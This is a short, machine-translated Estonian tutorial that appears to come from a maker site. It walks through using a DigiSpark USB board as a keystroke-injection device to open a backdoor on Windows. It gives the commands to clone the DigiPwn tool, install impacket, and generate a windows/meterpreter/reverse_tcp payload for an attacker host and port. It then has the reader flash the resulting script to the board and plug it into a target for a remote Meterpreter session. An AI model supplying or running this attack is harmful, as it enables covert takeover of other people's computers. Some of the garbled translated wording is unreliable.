DigiPwn: 5 sammu

2024 Autor: John Day | [email protected]. Viimati modifitseeritud: 2024-01-30 08:47

Mida me siis siin teeme?

DigiSpark on väike Arduino -põhine arendustööriist, mis võib toimida HID -klaviatuuri sisendina. Täna manipuleerime selle seadmega Windowsi operatsioonisüsteemi tagaukse avamiseks!

Tarvikud

Arduino IDE

Akendega masin

DigiSpark

Metasploiti raamistik

Python 2.7 (Märkus: vajate pythoni "2.7", ärge minge teise versiooni juurde)

lööklapp

Aju! See aitab

Samm: kloonige DigiPwni hoidla

Kloonige DigiPwni GitHubi reposse

git kloon

Nüüd muutke kataloog DigiPwn poolt

cd DigiPwn/

Samm: installige Impacket [Pythoni nõutavad moodulid]

See moodul on vajalik SMB -serveri käitamiseks, mis on vajalik koormusraamatukogu jaoks

sudo apt-get install python-impacket

Või laadige alla impakettide kogu ja installige see siit.

Samm: genereerige kasulik koormus

Jookse

python DigiPwn.py [HOST] [PORT] [PAYLOAD] [OUTPUT FILE] [vorming]

endine

python DigiPwn.py 192.168.1.2 8080 windows/meterpreter/reverse_tcp win.vbs win.vbs

Nüüd küsitakse teilt, kas käivitada stager ja SMB -server. Vajutage y ja vajutage sisestusklahvi

Samm: laadige kood nüüd Arduinosse üles

Enne üleslaadimist peame veenduma, et DigiSparki plaat on Arduinosse installitud, et seda siin vaadata.

pärast seda laadige üles skripti loodud fail keystroke_inject.ino. Kui olete valmis, olete valmis

Samm: aeg beebiga ühendada

Ühendage DigiSpark kohe ja oodake 10 sekundit

BOOM Seal on meetrite tõlkimine avatud!